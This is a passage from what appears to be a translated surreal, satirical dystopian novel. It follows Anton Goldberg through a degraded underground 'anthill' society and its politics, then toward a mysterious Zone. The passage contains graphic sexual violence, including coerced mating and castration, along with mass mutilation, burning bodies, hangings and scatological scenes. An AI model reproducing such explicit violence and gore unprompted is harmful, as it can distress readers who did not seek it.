大厅中央矗立着一个巨大的赤裸肥胖女人雕像。戈德伯格目测,雕像几乎有两个人的身高,周长是正常人的四倍,然后这个怪物突然动了一下。

戈德伯格惊恐地意识到,那个女巨人是活生生的存在,由血肉组成。

尚未完全从震惊中恢复过来的戈德伯格,温顺地让自己被检查、触摸。显然,进行这种特殊“体检”的人很满意,他被带到了女巨人面前。近看,她更加令人作呕。粗糙多孔的皮肤,长着硬毛,巨大的下垂乳房——整个外表象征着某种生育女神……

突然,围绕戈德伯格的女人们变得异常温柔和亲切。她们的手开始在安东的身体上滑动。戈德伯格不由自主地感到一阵寒意,他显然正在被准备与女巨人交配。

女巨人突然活了过来,响亮地哞叫,然后举起更像巨大火腿的手,用手指向一个肌肉发达的金发男子。戈德伯格生平第一次庆幸自己外表相当普通,没什么特别。他立刻被拖回队列,金发男子取代了他的位置。

尽管害怕,金发男子很快被带到完全战备状态。女巨人高兴地咕噜了一声,迈了一步,轻松地把他(完全晕头转向、不想反抗)压在了身下。

景象如此令人作呕,戈德伯格不由自主地闭上了眼睛。

女巨人呼哧呼哧地吧唧着嘴,金发男子没发出一声。旁边传来痉挛的抽泣声,有人痛苦地呕吐起来。

女巨人发出狂喜的腹鸣,戈德伯格不由自主地睁大了眼睛。

皱巴巴的、可怜的金发男子像麻袋一样躺在巨人脚下,女巨人继续狂热地咆哮。突然,她迅速跪下,咬掉了金发男子他刚刚用过的东西。现在被阉割的金发男子尖叫起来。戈德伯格认出了这令人血液凝固的尖叫声。

赤裸的复仇女神们狂喜地咆哮起来,围着三个赤裸的死刑犯男人跳起舞来。

“现在或永不,”戈德伯格想,一口气冲出汗水淋漓的身体之环,向女巨人冲去。

她跪着站了起来,高兴地嚎叫,吐着彩虹色的泡泡,向前迈了一步。赤裸的复仇女神们开始疯狂地鼓掌……

戈德伯格对要做什么没什么概念。他被猎物的本能驱使着向前,这种本能把无助的青蛙赶进蛇的嘴里。

但突然,女巨人在金发男子不再抽搐的腹股沟涌出的血泊中滑倒了,砰地沉重地摔在地上。

没有减速,戈德伯格像蝴蝶一样飞过在血中挣扎的肉块,他面前出现了一个通向地下深处的自由通道。

别无选择,尤其身后响起了狂野的嚎叫,好像有一百只猫和猫从附近各处聚集在一起解决关系。

戈德伯格从没想到,一个女人,即使是愤怒的,也能发出这样的声音。


第十二章

他们让他走了。当这一切发生时,戈德伯格立刻被疑虑攫住。当然,回去将是完全的疯狂,他会再次被养肥,再次被送到那个扮演奇怪社会中“蚁后”角色的怪物那里。但既然有“蚁后”,那么肯定某处也有雄性,属于那个受够了的金发男子的部落。戈德伯格能和他们找到共同语言吗?

也许交配后饱食而死就是理想?难道视野边界后面就藏着这些?

戈德伯格好像从侧面看到了自己:被疯狂的年轻人追赶,差点被“蚁后”阉割——这就是他,一个昔日的洁癖知识分子,后来几乎是超人呢?不久前还是文明人的人,能坠入的深渊的底部在哪里?

也许问题出在他自己身上?而外部环境与此无关?不过,不都一样吗……必须接受世界本来的样子,挨了右脸一记耳光,就主动伸出左脸。

“可滚你们所有人!!!”戈德伯格突然咆哮起来,他自己却被恐惧吓得蹲了下来,恐惧像开瓶器一样钻进了他胃部某处。

但地下无视了他的抗议,连回声都没有。

然后他又开始向未知的方向和目的蹒跚。失去了训练的身体慢慢地拒绝服务,而大脑,相反,仿佛从昏睡中醒来,开始繁殖各种丑陋的幻觉。

一会儿他觉得他进了一个大厅,躲在箱子后面,冷漠地看着一群疯狂的青少年把一个中年男子打死,而那人根本没有反抗,只是微弱地哞哞叫。

一会儿戈德伯格幻觉他撞上了一个拉屎的醉汉,那人试图向他解释这里的秩序结构,或者也许只是在骂人。

然后是一个大厅,像复活了的博什的画作。这里有几百个个体在吃、喝、交配、互相残杀,不分性别和年龄。

然后他在黑暗中走了很长时间,撞上从天花板上垂下来的东西,一些自由摆动的粗藤蔓……只有走过这段路后,他才意识到那是数百个绞死的人,而那些藤蔓是他们还没来得及僵硬的四肢。

然后他幻觉到一男一女赤身裸体。像机器一样行动,他们用汽油浇了自己,然后划了火柴,互相点燃,开始做爱。

有时戈德伯格幻觉到一些东西,他甚至没有足够的词语来描述他所看到的。幻觉成倍增长,互相重叠,交配,产生新的幻觉。大脑承受不住负荷,连幻觉也变得幽灵般和难以捉摸。

戈德伯格像一只装死的昆虫,再次采用了救命的招数——他失去了意识。


第十三章

“起来,伙计,怎么躺下了……”

这是戈德伯格在放荡的意识终于回来时听到的第一句话。

如果不是前几天所受的冲击,戈德伯格会以为他又回到了自己熟悉的世界。他躺在地板上,在一个普通的单身汉住所里,摆满了破旧的家具;窗户被肮脏的窗帘紧紧遮住。桌上放着一瓶开了的伏特加,桌旁一把破凳子上坐着,显然是房子的主人:一个40来岁、不起眼的男人。

“我在哪?”戈德伯格阴沉地问。

“在……,”男人温和地咧嘴一笑,满意地打了个嗝,“你是个懦夫,小子!我们还没来得及喝第二杯,你就扑通倒在桌子下面了。我还以为你完蛋了。”

“什么也不记得了,”戈德伯格用力摇了摇头。

“常有的事,”男人点点头。“我喝多了也这样……”

“我没喝,”戈德伯格虚弱地反驳。

“谁在喝?就这样,医治忧郁!使生活复苏……你以前是做什么的?”

“数学家……在第15号实验室……控制问题研究所……”

“啊,你是他们中的,”男人同情地点点头,突然眨了眨眼。“而我是议员……这么说吧,人民代表……你要知道我睡过多少妞……又有多少次我自己被人搞……”

“常有的事,”戈德伯格叹了口气。但实际上他在想完全不同的事。他突然觉得,这一切他都经历过,而且不止一次。

“怎么样,喝不喝?”男人问,“还是又要开始往地上扑腾?”

“喝,”戈德伯格果断地宣布。“我要喝,还要操女人!”

“像条汉子,”男人赞许地,往杯子里倒酒。“干!”

戈德伯格干了一口,用人民代表的领带闻了闻,这让后者欣喜若狂,他感到紧张的残余被甜蜜的醉人浪冲刷掉,与此同时,常识的残余也被冲刷掉。

尽管戈德伯格喝得不多,但剩下的他记得模糊而零碎。他们喝完一瓶,然后“代表”迅速“跑”到某处,又拿来一瓶。他们又喝完了。然后完全开始胡闹。不知从哪里出现了女人。其中一个赤身裸体在桌上疯狂地跳舞。议员不停地喊:

“为了祖国,我们的母亲!”并试图跳出遮着窗帘的窗户。戈德伯格不知为何试图拦住他,但后来吐了口唾沫,议员一头撞在窗帘上。但他没从窗户掉出去,因为窗帘后面窗户被砖头严严实实地封住了。议员摇晃着撞伤的头,笑着,而戈德伯格不知为何哭了,女人们继续跳舞。然后他们出现在一个灯火通明的大厅里,那里没有窗户,全是镜子,家具肯定是古董,兴奋的女人们搔议员的痒,他疯狂地大笑……

然后戈德伯格在打某个肥大的厚颜无耻的脸,只有当它出现裂纹时,他才意识到他打碎了镜子。

过了一会儿,他在做爱——要么是跟一个女人,要么是跟人民代表本人。

当女人们打起来时,戈德伯格去小便,但一开始没找到,等找到时,他完全忘了之前他已经小解过了……

戈德伯格躺在地板上,发烫的前额贴在马桶上,陷入了一个粘稠不安的梦,在梦中,他在一个无尽的粪坑里溺水。溺着,溺着,怎么也溺不死。


第十四章

头痛得像要裂开,像国家预算一样,戈德伯格扑向玻璃水瓶,喝了很久,差点呛死。然后他把水瓶的凉底贴在前额上,头不自在地仰着,幸福地凝固了一瞬,但立刻颤抖起来,试图坐直。有什么东西在他心中模糊地悸动,好像这一切都曾发生过:内心的卑鄙,前额上凉爽的安慰……

戈德伯格克服着痛苦的头痛发作,厌恶地转动着头。他书房的丝绒内饰不知为何引起了呕吐反射,他想该换换了,但一直没时间。

书房的门微微打开,英加探进头来,她在戈德伯格身边承担着混合功能,从纯粹的公务到相当私密。“有趣,”戈德伯格懒洋洋地想,“我昨晚见没见过她?”

“卡明斯基来了,总统先生,”英加干巴巴地说,眼睛看着戈德伯格头顶上方某处。

“生气了,”戈德伯格冷漠地断定。私下里,只有在她生气或来月经时,她才称他为总统先生。

“让他进来,”戈德伯格再次扑向救命的玻璃水瓶,英加耸了耸肩,消失在门口。立刻,卡明斯基像盒子里的魔鬼一样从那里跳了出来。人民代表出奇地精神焕发。

“这狗东西真能喝,”戈德伯格嫉妒地想。

“总统先生身体如何?”卡明斯基带着训练有素的微笑问,试图捕捉戈德伯格的目光。

“你没必要耍宝,”戈德伯格阴沉地说。“没你我也够难受了。”

“您昨天可喝得真厉害,总统先生!您得承认,您怎么能喝成这样,跑到蚁巢的高层去找刺激。”

“怎么,我去过那儿?”戈德伯格无精打采地问。

“您哪儿没去!您声称想看日落。然后又跟工人巡逻队打了一架。”

“希望我们没打扰到女王们?”戈德伯格问,只是为了勉强维持谈话。

“哦不,总统先生,您宣布您从小就对她们过敏。”

“总的来说,蚁巢……在我们夜间视察之后怎么样?”

“它,请原谅,能怎么样呢?女王们照常产卵,工蜂们在练习互相捕猎。”

“我对产卵强度感兴趣,”戈德伯格皱着眉威严地说,人民代表开始匆忙翻笔记本。

“嗯……妓女……女同性恋……草供应商……都不对……啊,找到了!从本十年开始,文学年鉴《蚁巢》已被接受付梓!”

“什么年鉴与此相干?它是色情的吗?它怎么能促进产卵?”

“我以为,总统先生,您也对蚁巢的精神生活感兴趣。”

“我对你们的精神生活没兴趣!我首先对蛋感兴趣!”

卡明斯基特别恶心地咧嘴一笑,戈德伯格想,是时候对人民代表做出决定了,就像……对内饰一样。

卡明斯基仿佛猜到了戈德伯格的想法,谄媚地问:
“还记得吗,总统先生,我们是怎么认识的?您偶然闯进了蚁巢,女王差点咬掉您的……我拿伏特加给您喝了一个星期。”

“别催泪,卡明斯基。你当人民代表多久了?”

“第三个任期……才!”

“已经!第三个任期。该干点实事了。”

“我不能,”卡明斯基一脸严肃地说。“我对工作过敏,就像您对女王过敏一样。”

“那你就该被流放到雄蜂层去。”

“那还不如流放到不合格的后代那里去。我太喜欢男孩了。”

戈德伯格鄙夷地做了个鬼脸,小心地摸了摸头,然后怀疑地看了卡明斯基一眼:
“我打架受伤了?”

“没有,总统先生,后来是您自己拿头撞马桶了。”

“我们?!”

“更确切地说,是您,而您强迫我们这时一起往里面撒尿,因为您说您喜欢这声音,它让您想起您年轻时的溪流潺潺。”

“还好不是童年,”戈德伯格叹了口气。

“童年是另一回事,”卡明斯基激动起来。

“停止闲聊!”戈德伯格凶猛地吼道,然后立刻又做了个鬼脸:自己的声音在脑中引起了剧烈的疼痛。“总之,准备一下,卡明斯基,我们去视察雄蜂殖民地。”

“带多少警卫?”卡明斯基公事公办地问,伸手去拿笔记本。

“一个也不带。我们俩去。隐姓埋名。”

“哦,他们会揍您一顿的,总统先生,像上次一样,不管什么隐姓埋名。”

“走吧,”戈德伯格说,“告诉英加,拿点治头痛的药来。”

“断头台?”

“断头台也要,特别是如果你继续管不住舌头。”

“您要缩短它?”

“当然。一直缩到脖子。”

卡明斯基严肃地点点头,无声地消失了。

英加走进来,把药片扔到桌上,默默地出去了。

“生气了,”戈德伯格断定,突然生气起来,一拳砸在桌上,恶狠狠地呼出一口气。“母狗!!”

奇怪的是,之后头完全停止了疼痛。


第十四章(原文如此)

“你又准备去哪儿?”英加很生气。

“你明白——我的职务要求……”

“我知道你的职务要求你什么:妓女和无尽的酗酒!”

戈德伯格恶意地咧嘴一笑,直视她的眼睛,咬牙切齿地说:
“也许,你马上去工人巡逻队?”

她眼中闪着泪光,但这更激怒了戈德伯格,他没忍住,补充道:
“这可不是让你光着身子在桌上跳舞!”

英加抽泣起来,戈德伯格把她留在他的12格特殊蜂巢里,也就是用人的语言说,留在他们豪华装修的十二个房间的窝里。而且是在蚁巢住房问题尖锐的情况下!让她别抱怨,这可不是像工蜂一样十个人挤在双人隔间里,还停水停电。

卡明斯基在通往蚁巢上层的特殊通道旁等着他。这里,在地下几公里深处,安静而舒适。墙壁发出的柔和散射光,令人平静。尽管如此,有时戈德伯格突然被一种忧郁攫住……奇怪,他无法理解这种忧郁的原因。因为他目前拥有一切,而他还没有的东西,只要他动动手指,几个小时内就会有人送来……然而,他时不时会陷入无缘无故的忧郁发作。蚁巢在那些时刻看起来像是疯狂和荒谬的集合体。虽然当忧郁过去,戈德伯格不能忽视当地宇宙秩序背后的理性原则。蚁巢的居民最初被分为几个社会群体。

首先,当然是女王——蚁巢生殖领域的基础。一切都很清楚,女王甚至在完全意义上并不是理性的。她们的主要功能是:交配和生育后代。

第二个阶层可以称为雄蜂。这里也相当简单,但与女王不同,雄蜂不仅保证了生殖过程的连续性,而且是一种文化精英,在蚁巢中不知为何采取了扭曲的形式。也许是因为雄蜂这一活动领域的产出完全没有针对消费者。他们完全为自己而创作。

第三类是工蜂——雌性,对她们来说生殖功能是某种返祖现象。她们负责维护和照顾女王。雄蜂殖民地仿佛自治(那里的秩序想都不用想!),但在工蜂分配并严格控制的范围内。

最后,是似乎抛弃了现有世界秩序并凌驾于其上的阶层——人民代表机构,以及最核心的圈子……

而他们说得在某处,在远离城市边界的地方,有那么一个空间……特异区。那里一切都不同,最重要的是那里……自由。

“也许我们还是带警卫?”卡明斯基甜腻的声音钻破戈德伯格阴郁的沉思。

“不!”戈德伯格说,感到某种受虐狂的快感。

“至少克沙?”卡明斯基继续哀求。

“老色鬼,”戈德伯格疲惫地想,“难道他到现在还怕失去他的性器官吗?难道他一次也没想过,如果他失去了它,不仅能让周围人幸福,也能让自己幸福?”

“好吧,带克沙,”戈德伯格出声说,但他个人不在乎。


雄蜂殖民地位于地上层。连接地下和地上部分的通道严格由工人巡逻队控制,大多数通道只能在巡逻队的陪同下进入——就像戈德伯格自己当初进入一样。

“您冒险了,总统先生,不带警卫去雄蜂那里,”一个粗壮肥胖的母兽冷淡地宣布,懒洋洋地弯曲着二头肌。

“我们有保镖,”戈德伯格说着,朝克沙强壮的身形点了点头,克沙虽然二头肌体积不及巡逻队女队长,但拥有发达的性器官,暴露在外,在雄蜂殖民地应该大约相当于军队里的肩章。按照平均标准,克沙至少够得上上校。

“随您便,总统先生,”巡逻队女队长冷漠地点点头,“我的事是警告。”

“雄蜂大概不会咬掉我的东西,”戈德伯格想,没有注意到自己在暗自幸灾乐祸。

克沙挑逗地朝女队长眨了眨眼,她瞬间失去了冷静。戈德伯格顺带注意到这些细微差别,无声地骂着娘。

“让他们的理想安排见鬼去吧!我自己去当雄性算了?”但内心深处,戈德伯格知道这个角色并不吸引他。只是到了某个时刻,他内心再次出现了“好心的老戈德伯格”——命运的继子。是的,说来矛盾,但即使现在,达到了社会金字塔的顶端,戈德伯格仍然是命运的继子。而他们说得在某处,在远离城市边界的地方,有一个特异区——一个保护区,那里的生活完全不同。大概是撒谎,混蛋们……


“他们总是把墙弄脏,”戈德伯格恼怒地想,在狭窄的走廊里穿行。确实,所有这些通道和过渡都像某种恶魔的食道,内壁覆盖着粘膜。

但在这里,走廊的墙壁仿佛分开了,戈德伯格在卡明斯基和克沙的陪同下,踏上了雄蜂的领土。联想立刻退到了背景。

工人巡逻队通常不来这里,只控制边境地区。只有偶尔,为了给女王挑选雄性,才会在这些地方进行搜捕。

雄蜂们不知为何,尽管他们的生活方式,总是热衷于艺术。他们特别尊重全息术和纪念碑雕塑。每个大厅中央都矗立着一个巨大的阴茎,雄蜂们聚集在它周围,二百到三百人一群,“嗡嗡叫”。嗡嗡叫是一整套活动,包括从集体大小便到与第一次遗精有关的某些神秘行为的一切。

在竖起的阴茎周围被粪便弄脏的领土上,发生着与殖民地生活有关的所有重要事件。粪肥的文化层表明了殖民地的年龄以及它在近邻中所享有的尊重程度。一个雄性看起来越脏,他在殖民地中就越有威望。阴茎旁边定期爆发争夺该区域头领地位的残酷战斗。失败者被在字面和比喻意义上与粪便混合,胜利者狂热地在他身上撒尿,然后在阴茎脚下跳起识别舞。

“也许,趁还不晚,我们回去?”卡明斯基问。

“不!”

与此同时,一个气势不凡的雄性朝他们走来,默默地用手指着他们在这种环境下显得荒谬的服装。

戈德伯格默默地脱得精光,卡明斯基赶紧效仿。就像雄蜂们神化雕塑一样,他们无法忍受衣服。

赤裸的戈德伯格感到完全无保护,但奇怪的是,绝对平静。仿佛和裤子一起,所有文明的紧张感、最近几天的绝望忧郁都从他身上脱落了,尽管他完全明白,与克沙相比,他没什么好骄傲的。

“我想跟头领谈谈,”戈德伯格低沉地说,尽量不看那个悠然自得挠着痒的雄性。“今天你们谁是中心人物?”

雄性龇了龇牙,好像戈德伯格说了什么下流话,然后回答:
“你真他妈是个惊喜盒子!不知道马桶?”

“啊,”戈德伯格想,“马桶还是把崔里挤下去了……”

“你别废话,带我们去见他,”卡明斯基颤抖的声音开始叨叨,“看好我们的衣服,别在我们跟马桶谈话时被偷了。”

“谁稀罕你们的伪装服?!”雄性愤慨地说。“拉链!”他朝不知是谁吼道。“看好东西,你知道的!”

“好,”一个高兴的声音回答,但戈德伯格无法确定那个大嗓门“拉链”的观察哨在哪里。

“你们要哨兵干什么?”戈德伯格漠不关心地问,虽然老实说,他对雄蜂的私生活兴趣不大。

“那些母的烦死了,”他们的向导乐意地回答,“最棒的小伙子都被抓走了,然后,即使他们回来,也会生病,什么都不喜欢……”

戈德伯格哼了一声,卡明斯基几乎同时讨厌地咯咯笑起来。

“到了,”雄性在通往蚁巢深处的一个简陋的洞口门槛上报信。“马桶不许我们再往前晃悠。”

“兄弟们怎么称呼你?”戈德伯格为了多少感谢一下向导,无精打采地问。

“有人叫我鼻涕,有人叫我螺旋体,但通常是我自己来。”

戈德伯格后悔问了这个问题。


第十五章

马桶的隔间整洁,按当地标准甚至优雅。戈德伯格转了转头,大声说:

“马桶不尊重我们。哦,不尊重。把他交给工人巡逻队得了,换……嗯,至少鼻涕……或拉链……”

立刻,角落的一堆破布活了起来,一个剃着光头、小个圆滚滚的雄蜂从里面滑了出来。

“鼻涕我会在马桶里淹死,”马桶飞快地叨叨。“而拉链我们会在晚点名时贬掉。”

“好了,马桶,别晃悠了,”戈德伯格说,惊恐地意识到他用了比当前雄蜂头领更多的俚语。“你知道我们跟你几乎‘有爱’。”

“所以我就在说,”马桶开始谄媚,“我,卡明斯基,难道没提供好男孩吗?”

“不是这回事,”戈德伯格恼怒地哼了一声,“不要这么字面地理解‘爱’这个词。”

“我明白,”马桶附和道。

“既然明白,就别挑事,”戈德伯格看着垂头丧气的马桶,突然被愤怒淹没。

他,戈德伯格,几个月前他难道能想象,他会不得不去向这些混蛋低头?他会发现自己处于像卡明斯基、克沙、鼻涕、拉链、马桶这样的人中间?要么是周围世界不对,要么是他自己不对。最重要的是,他早就注意到,视野边界上是否还燃着任何生命之光。只有关于特—异—区的微弱、正在熄灭的念头。难道他如此深陷其中,以至于完全失去了与自己的联系?……

“您来得正是时候,”马桶同时谄媚地低语,“正好赶上大研讨会……”

“天哪!”戈德伯格疲惫地想,“又是喝酒……”

“……致力于全球美学问题……伟大的什克利亚瓦将展示他的项目……”

“又是他们带着他们那变态的审美,把心爱的阴茎从一个洞搬到另一个洞……”

“……希兹本人将做报告。”

“也是个角色。得敲打敲打他。他太能说了。想成为当地活神。任何群体都会为这样的精神领袖赴汤蹈火,”戈德伯格厌恶地瞪了谄媚的马桶一眼,咬牙切齿地说:
“别绕弯子,我们需要的是什克利亚瓦,不是你。”

“想订购室内装饰?”马桶恶心地咯咯笑。“他的作品对性能力有非凡的影响……简直创造奇迹!”


什克利亚瓦宽容而恭敬地迎接了他们。

“这混蛋感觉到他的宠幸不稳固,”戈德伯格不怀好意地咧嘴一笑,拉长声音说:
“我们听说,伟大的什克利亚瓦,您在非语言魔法领域取得了很大成功。”

什克利亚瓦,一个瘦骨嶙峋的邋遢鬼,冷冷地缩了缩身子,用他的小眼睛看着戈德伯格的眼睛,然后叹了口气说:
“您不该耍贫嘴,戈德伯格。因为您也感到了我身上的力量,否则您不会来。”

戈德伯格用一只手做了个宽阔的手势,周围人可以明确解读为:滚出去!

“如果有事,”卡明斯基急忙说,“我和克沙就在拐角处。”

马桶好奇得要命,什么也没说,顺从地跟着其他人走了,虽然不停地回头,徒劳地希望戈德伯格会留住他。

但戈德伯格对他们的陪伴已经受够了。

当他们单独留下时,戈德伯格几乎如释重负地扔掉了“不速之客”的伪装,轻松地说:
“怎么,想当灵魂的主人?”

什克利亚瓦出人意料地坦率笑了:
“这跟我无关,皇帝,跟希兹有关。我算什么,我只是想控制内分泌腺。您知道——我的艺术目标:提高蚁巢的生殖功能。”

“别拿蚁巢的需要来噎我,”戈德伯格皱了皱眉。“你曾经是个不错的诗人。”

“那又怎样。您知道我们的‘才华’值什么价。所以克沙在您那儿,而我在这儿。”

“所以我说,”戈德伯格生气地说,“在这之后,要在粪里扒拉,光着身子走……”

“引起不必要的嫉妒?”

“你说谁?!”

“当然说您,皇帝,说您和您的兄弟们。”

“第一,再叫我一声皇帝,我就下令把你交给女王们,它们会把你那傲气……一口口咬掉。第二,亲爱的,是什么把你和希兹联系在一起的?”

“您要是对希兹感兴趣,就直说,”什克利亚瓦哼了一声,“何必搅浑水:诗人、艺术……”

“该结束了,”戈德伯格想,外表保持平静。“和这个荷尔蒙辩护者,和马桶,和卡明斯基,和书房的装饰。只差一点:决定究竟从谁开始全面净化……”

“那么,您对希兹感兴趣。意料之中。但另一方面,某个半白痴能对您构成什么威胁?”

“我曾建议过你如何制作你的荷尔蒙-生殖器杰作吗?”

什克利亚瓦哼了一声。

“那就别插手不该插手的事,”戈德伯格说,感觉到他完全不对:因为在他之前,蚁巢总统的位子正是由什克利亚瓦坐着的。

“那么,希兹?”什克利亚瓦陷入沉思。“有什么可说的……罕见的煽动家。完全没有原则。总之,一个理想的政治家范例,所以……一个觊觎者。”

戈德伯格阴郁地看着什克利亚瓦,想:
“你这混蛋,一直这么聪明,当初你的屁股舒舒服服地坐在我现在这把椅子上时,你的眼睛在哪?看,找了个圣人!”

“别那样看我,”什克利亚瓦轻声说,仿佛读懂了戈德伯格的想法,“当屁股过于舒适时,脑袋会慢慢萎缩……”

“我感兴趣的是,这一切有多严重?”

“与脑袋?”

“与屁股!”戈德伯格忍不住。“当然,我是在说希兹!!!”

“你想让我当告密者?”

“你,”戈德伯格终于爆发了,“歌颂胜利阴茎的歌手,你自己像前年腐烂的胡萝卜……”

“我当然知道,”什克利亚瓦轻声打断他,“职位会留下印记,但没想到你,安东·戈德伯格,已经成了这么一个彻头彻尾的畜生……”

“得了吧,”戈德伯格惯性般说,“想去女王那儿?”

“你自己去见你的女王们!”

“好吧,”戈德伯格突然平静下来,“你可以把我送到任何地方。只告诉我:希兹是真的吗?”

“戈德伯格,对那些还没有完全忘记世界不限于视野的人来说,像希兹这样的人,是再真实不过了!”

“这个无根的人怎么会知道隐藏在视野边界的世界?”


戈德伯格在蚁巢的通道里走着,他的阴茎从一边晃到另一边,体现了主人完全的感情混乱。

希兹已经站在崇拜阴茎脚下的讲台上,对着人群声嘶力竭地喊道:

“没门!!!我们不会允许他们这样!他们还会知道真男人能做什么!!!女王们是虚张声势!!!只有我们感觉到的东西才是真实的!我们要用遗精淹没他们无意义的主张……”

戈德伯格嫉妒地看着希兹,想,这样一个肆无忌惮的“明星”能向人群许诺的,恰恰是人群渴望从他那里得到的东西。

“……水将洗净我们疲倦的成员……”

最主要的是,他的话背后除了外在的光鲜和内心的空虚,没有任何实质内容。

“……完全满足……”

他不关心意外的障碍。

“……将得到满足……”

他不考虑突发事件。

“……所有人都处于极乐……”

这种对自己一贯正确的信念是从哪里来的?!

“……我们将融合……”

他难道相信自己说的话?!

“……痛苦地颤抖着,我们将摒弃!!!”

……

然后是饮酒会……


黎明前醒来时,戈德伯格一时无法想起他在哪里、他是谁。

雄蜂们造成的普遍破坏这次达到了顶点。

“如果连阴茎都推倒了……”戈德伯格突然颤抖起来,想起他和希兹喝得烂醉,试图爬上阴茎,号召人群去征讨女王们……

在他脚下正是一大滩呕吐物,鼻子埋在其中的,正是尊贵的人民代表。

“去他的,”戈德伯格正要朝他的方向吐口唾沫,但后来可怜他,抓住脚把他拖开。人民代表可疑地咕噜了一声,睁开一只眼。

“关于过渡时期不可避免的困难,您昨天喊得真不错,”他说着,又咕噜了一声。“您将蚁巢的现状比作宴会后的便秘,尤其是那句……”

“闭嘴,”戈德伯格无精打采地说,看着自己的脚。

“随您便,”人民代表说着,但又忍不住确认:
“难道希兹第一个骑上阴茎,称您为政治上的无能……对您的影响那么大吗?”

“闭嘴!!!”戈德伯格吼道,惊恐地意识到,他沾满粪的脚其实远比一个符号更严重!

“怎么?!我怎么会掉进这个粪坑?陷到脖子了!!!”

“您别那么担心,”人民代表试图安慰他。“我第一次被人搞的时候,也是这种状态,但现在我习惯了……”

“够了,”戈德伯格想。“是时候做点什么了。再稍微一下,就来不及了。我要么疯了,要么……”

“起来!”他对人民代表吼道,那人吓坏了,真的跳了起来。“马桶在哪?什克利亚瓦在哪?希兹在哪?大家都在哪?!”

“马上,马上,”人民代表开始忙活,疯狂地转动着头。

戈德伯格不等人民代表彻底清醒,就从睡眠隔间出来,急忙向大厅走去。

但大厅里也没有人。更确切地说,几乎没有人。或者更确切地说:没有一个活的灵魂。不过,大厅中央摇晃着什克利亚瓦,他吊在崇拜阴茎上。


第十六章

戈德伯格在蚁巢空荡荡的画廊里跑了将近一个小时,但这段时间没有遇到一个人。但他清晰地分辨出新的气味,甚至压过了惯常的粪便恶臭。所有下层通道现在都充满了新鲜血液的甜味和更令人作呕的烧焦肉味。

然后开始出现尸体。戈德伯格越往精英层移动,路上的尸体就越多。有被扯掉生殖器的雄蜂,有被剖开腹部的工蜂,有一次戈德伯格差点被一个巨大的女王尸体绊倒,她显然被浇了汽油并点燃。

“天哪!”戈德伯格尖叫起来。“难道我迟到了?!难道那个混蛋希兹启动了血腥绞肉机?!这个世界被诅咒了!!!”

然后戈德伯格不再跑了,他哭着,在通道里走着。与现实失去了联系,无法挽回。他所有与视野边界世界有关的想法,现在都像是热病的胡话。他非常模糊地知道自己究竟在哪个世界。是他最初感到格格不入的熟悉世界,还是他为了摆脱自己的情结而闯入的世界?无论哪种情况,戈德伯格都感到自己输了。他出生的那个小世界和他不由自主地在意识中培育出来的那个世界,对他来说同样陌生。

……一个巨大的大厅,沉浸在黑暗中。只有什么东西固执地试图触摸他的脸。戈德伯格疯狂地找火柴,但摸遍了自己,意识到他仍然光着身子。微红的闪烁光最终让戈德伯格分辨出,他现在身处一个无尽的大厅,天花板上挂着无数的绞死者。他不由自主地蹭着他们的腿擦去了眼泪。

但这不是让戈德伯格害怕的。

他突然惊恐地意识到,所有绞死者都有一张相同的脸。

起初戈德伯格觉得那是希兹的脸。但慢慢地,他开始意识到,那是他,安东·戈德伯格的脸,被无情地复制了成千上万份……

然后他感到,他开始不可阻挡地沉入他自己的现实,同时他怀疑,他最初哪儿也没去过。而周围的现实就是他自己的现实,只是某一瞬间,他有幸从一个不寻常的角度看到了它……


第十七章

“您真的去过地下城吗?”

戈德伯格转头看了看说话的人,但沉默着。他不太记得他是怎么从蚁巢里逃出来的。蚁巢所在的被毁城市早已被抛在身后。有一段时间,他徘徊在一个梦幻般的垃圾场,那里所有的垃圾都被仔细分类,堆成巨大的金字塔(为什么,谁需要分类?)。有塑料垃圾袋金字塔,有用过的尿布金字塔,有避孕套金字塔……有时他开始觉得,他从未离开过这座城市,蚁巢就是这座城市,它的第二化身。

有时他好像从侧面、从时间中看到自己。也许他其实还是那个小男孩安东……

……社会在培养他成为其成员。社会也还没有准备好接纳他。他不需要常识,他不需要理性,他需要的是……社会适应……

咔嚓!

……在下方远处,如此熟悉、但从新的视角看如此荒谬的生活琐事和细节隐约可见。在新的视角下,安东的整个过去生活显得如此荒谬,他每一次对抗攻击性荒谬的尝试,都只是增加了它。

戈德伯格向北走去。是什么在吸引他?直觉?记忆?那里,如果相信传说,应该是特异区。

……而那个世界里没有血和泥。但那个世界也不是甜腻的乌托邦、无菌的私生子。只是那里的困难和危险是自然的,不是人类自己制造的,因此不是人为的,因而也是愚蠢地无望的。所以克服它们也带来快乐。

咔嚓!

当时间概念最终丧失,幻觉与现实完全融合时,戈德伯格偶然发现了一个孤零零的农庄。与城市不同,这里的生活仿佛被保存了下来。它不在乎城市及其居民发生了什么,显然,它自己就够忙的。

主人知道特异区在哪。离那里不远了。黎明时他们一起出发。戈德伯格休息了一夜,现在他吃饱了,平静了。

现在他们站在一座小山上,而下面……

“就在那条沟壑后面它开始了,”农庄主人叹了口气,一直没等到他问题的答案。“而那边,在检查站后面,一个废弃定居点的一栋房子里,住着一个外号蛤蟆的家伙。罕见的混蛋,但为了那些别人从特异区深处给他弄来的东西,他会给武器和补给。不过,我要是您,我也不会去那里。鬼地方!我那连襟,他在更北边有个农庄,前几天赌咒说,他亲眼看到孩子们走进了特异区。排成一队,像有什么东西在吸引他们……对了,说蚁巢里什么都有:食物,女人?所有能从地上城过去的人都搬过去了?”

“撒谎,”安东心不在焉地回答,目不转睛地望着远方。


四周都是沼泽!只有沼泽!

没有,没有任何别的东西!!!


他到了。忘记过去。忘记第几次了。重新开始生活。

“好吧,蛤蟆,你好!我该付你多少?”

“从你身上能拿什么呢……何况你什么也记不清:你是谁,你在哪……而周围,孩子,是特异区!”

“我不是孩子,也不是你的!”

“还是我的……”


第二部分结束


第三部分

……愿他寻见!

哦,古老黑暗的野种!
你不曾是雷神吗?
——不是上帝,不是上帝创造了我们。是我们
用奴隶的心创造了诸神。
——伊万·布宁《石女》


他们被赶到一起,无情地催促着迟疑的人,用短剑的侧面击打,但用力而狠辣。

知识分子挨得最多,在他迟疑和说什么人权的时候。而硬汉像泥鳅一样滑到了人群中间,代表已经在那里等着他,总是快一步。这两个人不知怎么令人难以察觉地轻易找到了共同语言,从开始就努力待在一起。银行家、经理,或副主任有时会加入到他们的小组。但更多时候,这三个人保持独立。

